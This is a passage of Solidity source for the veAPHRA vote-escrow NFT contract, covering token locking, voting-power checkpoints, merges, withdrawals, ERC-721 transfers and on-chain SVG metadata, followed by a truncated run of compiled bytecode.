Point[user_epoch] mapping(uint => uint) public user_point_epoch; mapping(uint => int128) public slope_changes; // time -> signed slope change mapping(uint => uint) public attachments; mapping(uint => bool) public voted; address public voter; string constant public name = "veAPHRA"; string constant public symbol = "veAPHRA"; string constant public version = "1.0.0"; uint8 constant public decimals = 18; string public badgeDescription; /// @dev Current count of token uint internal tokenId; /// @dev Mapping from NFT ID to the address that owns it. mapping(uint => address) internal idToOwner; /// @dev Mapping from NFT ID to approved address. mapping(uint => address) internal idToApprovals; /// @dev Mapping from owner address to count of his tokens. mapping(address => uint) internal ownerToNFTokenCount; /// @dev Mapping from owner address to mapping of index to tokenIds mapping(address => mapping(uint => uint)) internal ownerToNFTokenIdList; /// @dev Mapping from NFT ID to index of owner mapping(uint => uint) internal tokenToOwnerIndex; /// @dev Mapping from owner address to mapping of operator addresses. mapping(address => mapping(address => bool)) internal ownerToOperators; /// @dev Mapping of interface id to bool about whether or not it's supported mapping(bytes4 => bool) internal supportedInterfaces; /// @dev ERC165 interface ID of ERC165 bytes4 internal constant ERC165_INTERFACE_ID = 0x01ffc9a7; /// @dev ERC165 interface ID of ERC721 bytes4 internal constant ERC721_INTERFACE_ID = 0x80ac58cd; /// @dev ERC165 interface ID of ERC721Metadata bytes4 internal constant ERC721_METADATA_INTERFACE_ID = 0x5b5e139f; bool internal _unlocked; /// @dev reentrancy guard uint8 internal constant _not_entered = 1; uint8 internal constant _entered = 2; uint8 internal _entered_state = 1; modifier nonreentrant() { require(_entered_state == _not_entered); _entered_state = _entered; _; _entered_state = _not_entered; } /// @notice Contract constructor /// @param TOKEN_ADDR_ `ERC20APHRA` token address /// @param GOVERNANCE_ `GOVERNANCE` address /// @param AUTHORITY_ `Authority` address constructor( address TOKEN_ADDR_, address GOVERNANCE_, address AUTHORITY_ ) Auth(GOVERNANCE_, Authority(AUTHORITY_)) { token = TOKEN_ADDR_; voter = msg.sender; point_history[0].blk = block.number; point_history[0].ts = block.timestamp; _unlocked = false; supportedInterfaces[ERC165_INTERFACE_ID] = true; supportedInterfaces[ERC721_INTERFACE_ID] = true; supportedInterfaces[ERC721_METADATA_INTERFACE_ID] = true; badgeDescription = string("APHRA Badges, can be used to boost gauge yields, vote on new token emissions, receive protocol bribes and participate in governance"); // mint-ish emit Transfer(address(0), address(this), tokenId); // burn-ish emit Transfer(address(this), address(0), tokenId); } function isUnlocked() public view returns (bool) { return _unlocked; } function setBadgeDescription(string memory _newDescription) requiresAuth external { badgeDescription = _newDescription; } //todo setup so that this is hard coded to be veGovernor function unlock() public requiresAuth { require(_unlocked == false, "unlock already happened"); _unlocked = true; } modifier unlocked() { require(_unlocked, "contract must be unlocked"); _; } /// @dev Interface identification is specified in ERC-165. /// @param _interfaceID Id of the interface function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return supportedInterfaces[_interfaceID]; } /// @notice Get the most recently recorded rate of voting power decrease for `_tokenId` /// @param _tokenId token of the NFT /// @return Value of the slope function get_last_user_slope(uint _tokenId) external view returns (int128) { uint uepoch = user_point_epoch[_tokenId]; return user_point_history[_tokenId][uepoch].slope; } /// @notice Get the timestamp for checkpoint `_idx` for `_tokenId` /// @param _tokenId token of the NFT /// @param _idx User epoch number /// @return Epoch time of the checkpoint function user_point_history__ts(uint _tokenId, uint _idx) external view returns (uint) { return user_point_history[_tokenId][_idx].ts; } /// @notice Get timestamp when `_tokenId`'s lock finishes /// @param _tokenId User NFT /// @return Epoch time of the lock end function locked__end(uint _tokenId) external view returns (uint) { return locked[_tokenId].end; } /// @dev Returns the number of NFTs owned by `_owner`. /// Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid. /// @param _owner Address for whom to query the balance. function _balance(address _owner) internal view returns (uint) { return ownerToNFTokenCount[_owner]; } /// @dev Returns the number of NFTs owned by `_owner`. /// Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid. /// @param _owner Address for whom to query the balance. function balanceOf(address _owner) external view returns (uint) { return _balance(_owner); } /// @dev Returns the address of the owner of the NFT. /// @param _tokenId The identifier for an NFT. function ownerOf(uint _tokenId) public view returns (address) { return idToOwner[_tokenId]; } /// @dev Get the approved address for a single NFT. /// @param _tokenId ID of the NFT to query the approval of. function getApproved(uint _tokenId) external view returns (address) { return idToApprovals[_tokenId]; } /// @dev Checks if `_operator` is an approved operator for `_owner`. /// @param _owner The address that owns the NFTs. /// @param _operator The address that acts on behalf of the owner. function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return (ownerToOperators[_owner])[_operator]; } /// @dev Get token by index function tokenOfOwnerByIndex(address _owner, uint _tokenIndex) external view returns (uint) { return ownerToNFTokenIdList[_owner][_tokenIndex]; } /// @dev Returns whether the given spender can transfer a given token ID /// @param _spender address of the spender to query /// @param _tokenId uint ID of the token to be transferred /// @return bool whether the msg.sender is approved for the given token ID, is an operator of the owner, or is the owner of the token function _isApprovedOrOwner(address _spender, uint _tokenId) internal view returns (bool) { address owner = idToOwner[_tokenId]; bool spenderIsOwner = owner == _spender; bool spenderIsApproved = _spender == idToApprovals[_tokenId]; bool spenderIsApprovedForAll = (ownerToOperators[owner])[_spender]; return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll; } function isApprovedOrOwner(address _spender, uint _tokenId) external view returns (bool) { return _isApprovedOrOwner(_spender, _tokenId); } /// @dev Add a NFT to an index mapping to a given address /// @param _to address of the receiver /// @param _tokenId uint ID Of the token to be added function _addTokenToOwnerList(address _to, uint _tokenId) internal { uint current_count = _balance(_to); ownerToNFTokenIdList[_to][current_count] = _tokenId; tokenToOwnerIndex[_tokenId] = current_count; } /// @dev Remove a NFT from an index mapping to a given address /// @param _from address of the sender /// @param _tokenId uint ID Of the token to be removed function _removeTokenFromOwnerList(address _from, uint _tokenId) internal { // Delete uint current_count = _balance(_from) - 1; uint current_index = tokenToOwnerIndex[_tokenId]; if (current_count == current_index) { // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_count] = 0; // update tokenToOwnerIndex tokenToOwnerIndex[_tokenId] = 0; } else { uint lastTokenId = ownerToNFTokenIdList[_from][current_count]; // Add // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_index] = lastTokenId; // update tokenToOwnerIndex tokenToOwnerIndex[lastTokenId] = current_index; // Delete // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_count] = 0; // update tokenToOwnerIndex tokenToOwnerIndex[_tokenId] = 0; } } /// @dev Add a NFT to a given address /// Throws if `_tokenId` is owned by someone. function _addTokenTo(address _to, uint _tokenId) internal { // Throws if `_tokenId` is owned by someone assert(idToOwner[_tokenId] == address(0)); // Change the owner idToOwner[_tokenId] = _to; // Update owner token index tracking _addTokenToOwnerList(_to, _tokenId); // Change count tracking ownerToNFTokenCount[_to] += 1; } /// @dev Remove a NFT from a given address /// Throws if `_from` is not the current owner. function _removeTokenFrom(address _from, uint _tokenId) internal { // Throws if `_from` is not the current owner assert(idToOwner[_tokenId] == _from); // Change the owner idToOwner[_tokenId] = address(0); // Update owner token index tracking _removeTokenFromOwnerList(_from, _tokenId); // Change count tracking ownerToNFTokenCount[_from] -= 1; } /// @dev Clear an approval of a given address /// Throws if `_owner` is not the current owner. function _clearApproval(address _owner, uint _tokenId) internal { // Throws if `_owner` is not the current owner assert(idToOwner[_tokenId] == _owner); if (idToApprovals[_tokenId] != address(0)) { // Reset approvals idToApprovals[_tokenId] = address(0); } } /// @dev Exeute transfer of a NFT. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the approved /// address for this NFT. (NOTE: `msg.sender` not allowed in internal function so pass `_sender`.) /// Throws if `_to` is the zero address. /// Throws if `_from` is not the current owner. /// Throws if `_tokenId` is not a valid NFT. function _transferFrom( address _from, address _to, uint _tokenId, address _sender ) internal { require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached"); // Check requirements require(_isApprovedOrOwner(_sender, _tokenId)); // Clear approval. Throws if `_from` is not the current owner _clearApproval(_from, _tokenId); // Remove NFT. Throws if `_tokenId` is not a valid NFT _removeTokenFrom(_from, _tokenId); // Add NFT _addTokenTo(_to, _tokenId); // Set the block of ownership transfer (for Flash NFT protection) ownership_change[_tokenId] = block.number; // Log the transfer emit Transfer(_from, _to, _tokenId); } /* TRANSFER FUNCTIONS */ /// @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else /// they maybe be permanently lost. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. function transferFrom( address _from, address _to, uint _tokenId ) unlocked external { _transferFrom(_from, _to, _tokenId, msg.sender); } function _isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint size; assembly { size := extcodesize(account) } return size > 0; } /// @dev Transfers the ownership of an NFT from one address to another address. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the /// approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if /// the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. /// @param _data Additional data with no specified format, sent in call to `_to`. function safeTransferFrom( address _from, address _to, uint _tokenId, bytes memory _data ) unlocked public { _transferFrom(_from, _to, _tokenId, msg.sender); if (_isContract(_to)) { // Throws if transfer destination is a contract which does not implement 'onERC721Received' try IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) returns (bytes4) {} catch ( bytes memory reason ) { if (reason.length == 0) { revert('ERC721: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } } /// @dev Transfers the ownership of an NFT from one address to another address. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the /// approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if /// the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. function safeTransferFrom( address _from, address _to, uint _tokenId ) unlocked external { safeTransferFrom(_from, _to, _tokenId, ''); } /// @dev Set or reaffirm the approved address for an NFT. The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner. /// Throws if `_tokenId` is not a valid NFT. (NOTE: This is not written the EIP) /// Throws if `_approved` is the current owner. (NOTE: This is not written the EIP) /// @param _approved Address to be approved for the given NFT ID. /// @param _tokenId ID of the token to be approved. function approve(address _approved, uint _tokenId) unlocked public { address owner = idToOwner[_tokenId]; // Throws if `_tokenId` is not a valid NFT require(owner != address(0)); // Throws if `_approved` is the current owner require(_approved != owner); // Check requirements bool senderIsOwner = (idToOwner[_tokenId] == msg.sender); bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender]; require(senderIsOwner || senderIsApprovedForAll); // Set the approval idToApprovals[_tokenId] = _approved; emit Approval(owner, _approved, _tokenId); } /// @dev Enables or disables approval for a third party ("operator") to manage all of /// `msg.sender`'s assets. It also emits the ApprovalForAll event. /// Throws if `_operator` is the `msg.sender`. (NOTE: This is not written the EIP) /// @notice This works even if sender doesn't own any tokens at the time. /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operators is approved, false to revoke approval. function setApprovalForAll(address _operator, bool _approved) unlocked external { // Throws if `_operator` is the `msg.sender` assert(_operator != msg.sender); ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @dev Function to mint tokens /// Throws if `_to` is zero address. /// Throws if `_tokenId` is owned by someone. /// @param _to The address that will receive the minted tokens. /// @param _tokenId The token id to mint. /// @return A boolean that indicates if the operation was successful. function _mint(address _to, uint _tokenId) internal returns (bool) { // Throws if `_to` is zero address assert(_to != address(0)); // Add NFT. Throws if `_tokenId` is owned by someone _addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); return true; } /// @notice Record global and per-user data to checkpoint /// @param _tokenId NFT token ID. No user checkpoint if 0 /// @param old_locked Pevious locked amount / end lock time for the user /// @param new_locked New locked amount / end lock time for the user function _checkpoint( uint _tokenId, LockedBalance memory old_locked, LockedBalance memory new_locked ) internal { Point memory u_old; Point memory u_new; int128 old_dslope = 0; int128 new_dslope = 0; uint _epoch = epoch; if (_tokenId != 0) { // Calculate slopes and biases // Kept at zero when they have to if (old_locked.end > block.timestamp && old_locked.amount > 0) { u_old.slope = old_locked.amount / iMAXTIME; u_old.bias = u_old.slope * int128(int256(old_locked.end - block.timestamp)); } if (new_locked.end > block.timestamp && new_locked.amount > 0) { u_new.slope = new_locked.amount / iMAXTIME; u_new.bias = u_new.slope * int128(int256(new_locked.end - block.timestamp)); } // Read values of scheduled changes in the slope // old_locked.end can be in the past and in the future // new_locked.end can ONLY by in the FUTURE unless everything expired: than zeros old_dslope = slope_changes[old_locked.end]; if (new_locked.end != 0) { if (new_locked.end == old_locked.end) { new_dslope = old_dslope; } else { new_dslope = slope_changes[new_locked.end]; } } } Point memory last_point = Point({bias : 0, slope : 0, ts : block.timestamp, blk : block.number}); if (_epoch > 0) { last_point = point_history[_epoch]; } uint last_checkpoint = last_point.ts; // initial_last_point is used for extrapolation to calculate block number // (approximately, for *At methods) and save them // as we cannot figure that out exactly from inside the contract Point memory initial_last_point = last_point; uint block_slope = 0; // dblock/dt if (block.timestamp > last_point.ts) { block_slope = (MULTIPLIER * (block.number - last_point.blk)) / (block.timestamp - last_point.ts); } // If last point is already recorded in this block, slope=0 // But that's ok b/c we know the block in such case // Go over weeks to fill history and calculate what the current point is { uint t_i = (last_checkpoint / WEEK) * WEEK; for (uint i = 0; i < 255; ++i) { // Hopefully it won't happen that this won't get used in 5 years! // If it does, users will be able to withdraw but vote weight will be broken t_i += WEEK; int128 d_slope = 0; if (t_i > block.timestamp) { t_i = block.timestamp; } else { d_slope = slope_changes[t_i]; } last_point.bias -= last_point.slope * int128(int256(t_i - last_checkpoint)); last_point.slope += d_slope; if (last_point.bias < 0) { // This can happen last_point.bias = 0; } if (last_point.slope < 0) { // This cannot happen - just in case last_point.slope = 0; } last_checkpoint = t_i; last_point.ts = t_i; last_point.blk = initial_last_point.blk + (block_slope * (t_i - initial_last_point.ts)) / MULTIPLIER; _epoch += 1; if (t_i == block.timestamp) { last_point.blk = block.number; break; } else { point_history[_epoch] = last_point; } } } epoch = _epoch; // Now point_history is filled until t=now if (_tokenId != 0) { // If last point was in this block, the slope change has been applied already // But in such case we have 0 slope(s) last_point.slope += (u_new.slope - u_old.slope); last_point.bias += (u_new.bias - u_old.bias); if (last_point.slope < 0) { last_point.slope = 0; } if (last_point.bias < 0) { last_point.bias = 0; } } // Record the changed point into history point_history[_epoch] = last_point; if (_tokenId != 0) { // Schedule the slope changes (slope is going down) // We subtract new_user_slope from [new_locked.end] // and add old_user_slope to [old_locked.end] if (old_locked.end > block.timestamp) { // old_dslope was <something> - u_old.slope, so we cancel that old_dslope += u_old.slope; if (new_locked.end == old_locked.end) { old_dslope -= u_new.slope; // It was a new deposit, not extension } slope_changes[old_locked.end] = old_dslope; } if (new_locked.end > block.timestamp) { if (new_locked.end > old_locked.end) { new_dslope -= u_new.slope; // old slope disappeared at this point slope_changes[new_locked.end] = new_dslope; } // else: we recorded it already in old_dslope } // Now handle user history uint user_epoch = user_point_epoch[_tokenId] + 1; user_point_epoch[_tokenId] = user_epoch; u_new.ts = block.timestamp; u_new.blk = block.number; user_point_history[_tokenId][user_epoch] = u_new; } } /// @notice Deposit and lock tokens for a user /// @param _tokenId NFT that holds lock /// @param _value Amount to deposit /// @param unlock_time New time when to unlock the tokens, or 0 if unchanged /// @param locked_balance Previous locked amount / timestamp /// @param deposit_type The type of deposit function _deposit_for( uint _tokenId, uint _value, uint unlock_time, LockedBalance memory locked_balance, DepositType deposit_type ) internal { LockedBalance memory _locked = locked_balance; uint supply_before = supply; supply = supply_before + _value; LockedBalance memory old_locked; (old_locked.amount, old_locked.end) = (_locked.amount, _locked.end); // Adding to existing lock, or if a lock is expired - creating a new one _locked.amount += int128(int256(_value)); if (unlock_time != 0) { _locked.end = unlock_time; } locked[_tokenId] = _locked; // Possibilities: // Both old_locked.end could be current or expired (>/< block.timestamp) // value == 0 (extend lock) or value > 0 (add to lock or extend lock) // _locked.end > block.timestamp (always) _checkpoint(_tokenId, old_locked, _locked); address from = msg.sender; if (_value != 0 && deposit_type != DepositType.MERGE_TYPE) { assert(IERC20(token).transferFrom(from, address(this), _value)); } emit Deposit(from, _tokenId, _value, _locked.end, deposit_type, block.timestamp); emit Supply(supply_before, supply_before + _value); } function setVoter(address _voter) external { require(msg.sender == voter); voter = _voter; } function voting(uint _tokenId) external { require(msg.sender == voter); voted[_tokenId] = true; } function abstain(uint _tokenId) external { require(msg.sender == voter); voted[_tokenId] = false; } function attach(uint _tokenId) external { require(msg.sender == voter); attachments[_tokenId] = attachments[_tokenId] + 1; } function detach(uint _tokenId) external { require(msg.sender == voter); attachments[_tokenId] = attachments[_tokenId] - 1; } function merge(uint _from, uint _to) unlocked external { require(attachments[_from] == 0 && !voted[_from], "attached"); require(_from != _to); require(_isApprovedOrOwner(msg.sender, _from)); require(_isApprovedOrOwner(msg.sender, _to)); LockedBalance memory _locked0 = locked[_from]; LockedBalance memory _locked1 = locked[_to]; uint value0 = uint(int256(_locked0.amount)); uint end = _locked0.end >= _locked1.end ? _locked0.end : _locked1.end; locked[_from] = LockedBalance(0, 0); _checkpoint(_from, _locked0, LockedBalance(0, 0)); _burn(_from); _deposit_for(_to, value0, end, _locked1, DepositType.MERGE_TYPE); } function block_number() external view returns (uint) { return block.number; } /// @notice Record global data to checkpoint function checkpoint() external { _checkpoint(0, LockedBalance(0, 0), LockedBalance(0, 0)); } /// @notice Deposit `_value` tokens for `_tokenId` and add to the lock /// @dev Anyone (even a smart contract) can deposit for someone else, but /// cannot extend their locktime and deposit for a brand new user /// @param _tokenId lock NFT /// @param _value Amount to add to user's lock function deposit_for(uint _tokenId, uint _value) external nonreentrant { LockedBalance memory _locked = locked[_tokenId]; require(_value > 0); // dev: need non-zero value require(_locked.amount > 0 || !isUnlocked(), 'No existing lock found'); require(_locked.end > block.timestamp, 'Cannot add to expired lock. Withdraw'); _deposit_for(_tokenId, _value, 0, _locked, DepositType.DEPOSIT_FOR_TYPE); } /// @notice Deposit `_value` tokens for `_to` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) /// @param _to Address to deposit function _create_lock(uint _value, uint _lock_duration, address _to) internal returns (uint) { uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks require(_value > 0 || !isUnlocked()); // dev: need non-zero value require(unlock_time > block.timestamp, 'Can only lock until time in the future'); require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 2 years max'); ++tokenId; uint _tokenId = tokenId; _mint(_to, _tokenId); _deposit_for(_tokenId, _value, unlock_time, locked[_tokenId], DepositType.CREATE_LOCK_TYPE); return _tokenId; } /// @notice Deposit `_value` tokens for `_to` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) /// @param _to Address to deposit function create_lock_for(uint _value, uint _lock_duration, address _to) external nonreentrant returns (uint) { return _create_lock(_value, _lock_duration, _to); } /// @notice Deposit `_value` tokens for `msg.sender` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) function create_lock(uint _value, uint _lock_duration) external nonreentrant returns (uint) { return _create_lock(_value, _lock_duration, msg.sender); } /// @notice Deposit `_value` additional tokens for `_tokenId` without modifying the unlock time /// @param _value Amount of tokens to deposit and add to the lock function increase_amount(uint _tokenId, uint _value) external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); LockedBalance memory _locked = locked[_tokenId]; assert(_value > 0 || !isUnlocked()); // dev: need non-zero value require(_locked.amount > 0 || !isUnlocked(), 'No existing lock found'); require(_locked.end > block.timestamp, 'Cannot add to expired lock. Withdraw'); _deposit_for(_tokenId, _value, 0, _locked, DepositType.INCREASE_LOCK_AMOUNT); } /// @notice Extend the unlock time for `_tokenId` /// @param _lock_duration New number of seconds until tokens unlock function increase_unlock_time(uint _tokenId, uint _lock_duration) external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); LockedBalance memory _locked = locked[_tokenId]; uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks require(_locked.end > block.timestamp, 'Lock expired'); require(_locked.amount > 0, 'Nothing is locked'); require(unlock_time > _locked.end, 'Can only increase lock duration'); require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 4 years max'); _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME); } /// @notice Withdraw all tokens for `_tokenId` /// @dev Only possible if the lock has expired function withdraw(uint _tokenId) unlocked external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached"); LockedBalance memory _locked = locked[_tokenId]; require(block.timestamp >= _locked.end, "The lock didn't expire"); uint value = uint(int256(_locked.amount)); locked[_tokenId] = LockedBalance(0, 0); uint supply_before = supply; supply = supply_before - value; // old_locked can have either expired <= timestamp or zero end // _locked has only 0 end // Both can have >= 0 amount _checkpoint(_tokenId, _locked, LockedBalance(0, 0)); assert(IERC20(token).transfer(msg.sender, value)); // Burn the NFT _burn(_tokenId); emit Withdraw(msg.sender, _tokenId, value, block.timestamp); emit Supply(supply_before, supply_before - value); } // The following ERC20/minime-compatible methods are not real balanceOf and supply! // They measure the weights for the purpose of voting, so they don't represent // real coins. /// @notice Binary search to estimate timestamp for block number /// @param _block Block to find /// @param max_epoch Don't go beyond this epoch /// @return Approximate timestamp for block function _find_block_epoch(uint _block, uint max_epoch) internal view returns (uint) { // Binary search uint _min = 0; uint _max = max_epoch; for (uint i = 0; i < 128; ++i) { // Will be always enough for 128-bit numbers if (_min >= _max) { break; } uint _mid = (_min + _max + 1) / 2; if (point_history[_mid].blk <= _block) { _min = _mid; } else { _max = _mid - 1; } } return _min; } /// @notice Get the current voting power for `_tokenId` /// @dev Adheres to the ERC20 `balanceOf` interface for Aragon compatibility /// @param _tokenId NFT for lock /// @param _t Epoch time to return voting power at /// @return User voting power function _balanceOfNFT(uint _tokenId, uint _t) internal view returns (uint) { uint _epoch = user_point_epoch[_tokenId]; if (_epoch == 0) { return 0; } else { Point memory last_point = user_point_history[_tokenId][_epoch]; last_point.bias -= last_point.slope * int128(int256(_t) - int256(last_point.ts)); if (last_point.bias < 0) { last_point.bias = 0; } return uint(int256(last_point.bias)); } } /// @dev Returns current token URI metadata /// @param _tokenId Token ID to fetch URI for. function tokenURI(uint _tokenId) external view returns (string memory) { require(idToOwner[_tokenId] != address(0), "Query for nonexistent token"); LockedBalance memory _locked = locked[_tokenId]; return _tokenURI( _tokenId, _balanceOfNFT(_tokenId, block.timestamp), _locked.end, uint(int256(_locked.amount)), badgeDescription ); } function balanceOfNFT(uint _tokenId) external view returns (uint) { if (ownership_change[_tokenId] == block.number) return 0; return _balanceOfNFT(_tokenId, block.timestamp); } function balanceOfNFTAt(uint _tokenId, uint _t) external view returns (uint) { return _balanceOfNFT(_tokenId, _t); } /// @notice Measure voting power of `_tokenId` at block height `_block` /// @dev Adheres to MiniMe `balanceOfAt` interface: https://github.com/Giveth/minime /// @param _tokenId User's wallet NFT /// @param _block Block to calculate the voting power at /// @return Voting power function _balanceOfAtNFT(uint _tokenId, uint _block) internal view returns (uint) { // Copying and pasting totalSupply code because Vyper cannot pass by // reference yet assert(_block <= block.number); // Binary search uint _min = 0; uint _max = user_point_epoch[_tokenId]; for (uint i = 0; i < 128; ++i) { // Will be always enough for 128-bit numbers if (_min >= _max) { break; } uint _mid = (_min + _max + 1) / 2; if (user_point_history[_tokenId][_mid].blk <= _block) { _min = _mid; } else { _max = _mid - 1; } } Point memory upoint = user_point_history[_tokenId][_min]; uint max_epoch = epoch; uint _epoch = _find_block_epoch(_block, max_epoch); Point memory point_0 = point_history[_epoch]; uint d_block = 0; uint d_t = 0; if (_epoch < max_epoch) { Point memory point_1 = point_history[_epoch + 1]; d_block = point_1.blk - point_0.blk; d_t = point_1.ts - point_0.ts; } else { d_block = block.number - point_0.blk; d_t = block.timestamp - point_0.ts; } uint block_time = point_0.ts; if (d_block != 0) { block_time += (d_t * (_block - point_0.blk)) / d_block; } upoint.bias -= upoint.slope * int128(int256(block_time - upoint.ts)); if (upoint.bias >= 0) { return uint(uint128(upoint.bias)); } else { return 0; } } function balanceOfAtNFT(uint _tokenId, uint _block) external view returns (uint) { return _balanceOfAtNFT(_tokenId, _block); } /// @notice Calculate total voting power at some point in the past /// @param point The point (bias/slope) to start search from /// @param t Time to calculate the total voting power at /// @return Total voting power at that time function _supply_at(Point memory point, uint t) internal view returns (uint) { Point memory last_point = point; uint t_i = (last_point.ts / WEEK) * WEEK; for (uint i = 0; i < 255; ++i) { t_i += WEEK; int128 d_slope = 0; if (t_i > t) { t_i = t; } else { d_slope = slope_changes[t_i]; } last_point.bias -= last_point.slope * int128(int256(t_i - last_point.ts)); if (t_i == t) { break; } last_point.slope += d_slope; last_point.ts = t_i; } if (last_point.bias < 0) { last_point.bias = 0; } return uint(uint128(last_point.bias)); } /// @notice Calculate total voting power /// @dev Adheres to the ERC20 `totalSupply` interface for Aragon compatibility /// @return Total voting power function totalSupplyAtT(uint t) public view returns (uint) { uint _epoch = epoch; Point memory last_point = point_history[_epoch]; return _supply_at(last_point, t); } function totalSupply() external view returns (uint) { return totalSupplyAtT(block.timestamp); } /// @notice Calculate total voting power at some point in the past /// @param _block Block to calculate the total voting power at /// @return Total voting power at `_block` function totalSupplyAt(uint _block) external view returns (uint) { assert(_block <= block.number); uint _epoch = epoch; uint target_epoch = _find_block_epoch(_block, _epoch); Point memory point = point_history[target_epoch]; uint dt = 0; if (target_epoch < _epoch) { Point memory point_next = point_history[target_epoch + 1]; if (point.blk != point_next.blk) { dt = ((_block - point.blk) * (point_next.ts - point.ts)) / (point_next.blk - point.blk); } } else { if (point.blk != block.number) { dt = ((_block - point.blk) * (block.timestamp - point.ts)) / (block.number - point.blk); } } // Now dt contains info on how far are we beyond point return _supply_at(point, point.ts + dt); } function _tokenURI(uint _tokenId, uint _balanceOf, uint _locked_end, uint _value, string memory description) internal pure returns (string memory output) { output = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; output = string(abi.encodePacked(output, "token ", toString(_tokenId), '</text><text x="10" y="40" class="base">')); output = string(abi.encodePacked(output, "balanceOf ", toString(_balanceOf), '</text><text x="10" y="60" class="base">')); output = string(abi.encodePacked(output, "locked_end ", toString(_locked_end), '</text><text x="10" y="80" class="base">')); output = string(abi.encodePacked(output, "value ", toString(_value), '</text></svg>')); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Badge #', toString(_tokenId), '", "description": "', description, '", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); } function toString(uint value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint temp = value; uint digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint(value % 10))); value /= 10; } return string(buffer); } function _burn(uint _tokenId) internal { require(_isApprovedOrOwner(msg.sender, _tokenId), "caller is not owner nor approved"); address owner = ownerOf(_tokenId); // Clear approval approve(address(0), _tokenId); // Remove token _removeTokenFrom(msg.sender, _tokenId); emit Transfer(owner, address(0), _tokenId); } }
0x608060405234801561001057600080fd5b50600436106103a45760003560e01c80638c2c9baf116101e9578063c2c4c5c11161010f578063e441135c116100ad578063f8a057631161007c578063f8a0576314610952578063fbd3a29d14610975578063fc0c546a14610988578063fd4a77f1146109af57600080fd5b8063e441135c146108d0578063e7e242d4146108f0578063e985e9c514610903578063ee99fe281461093f57600080fd5b8063d1c2babb116100e9578063d1c2babb14610859578063d1febfb91461086c578063d4e54c3b146108aa578063e0514aba146108bd57600080fd5b8063c2c4c5c11461082b578063c87b56dd14610833578063ccd1fe881461084657600080fd5b8063a183af5211610187578063b45a3c0e11610156578063b45a3c0e146107aa578063b88d4fde146107f2578063bf7e214f14610805578063c1f0fb9f1461081857600080fd5b8063a183af5214610769578063a22cb4651461077c578063a4d855df1461078f578063a69df4b5146107a257600080fd5b8063900cf0cf116101c3578063900cf0cf1461073a57806395d89b4114610402578063981b24d014610743578063986b7d8a1461075657600080fd5b80638c2c9baf146106f15780638da5cb5b146107045780638fbb38ff1461071757600080fd5b806342842e0e116102ce5780636352211e1161026c5780637116c60c1161023b5780637116c60c1461069d57806371197484146106b05780637a9e5e4b146106d35780638380edb7146106e657600080fd5b80636352211e1461062e57806365fc3873146106575780636f5488371461066a57806370a082311461068a57600080fd5b806346c96aac116102a857806346c96aac146105dc5780634bc2a657146105ef57806354fd4d5014610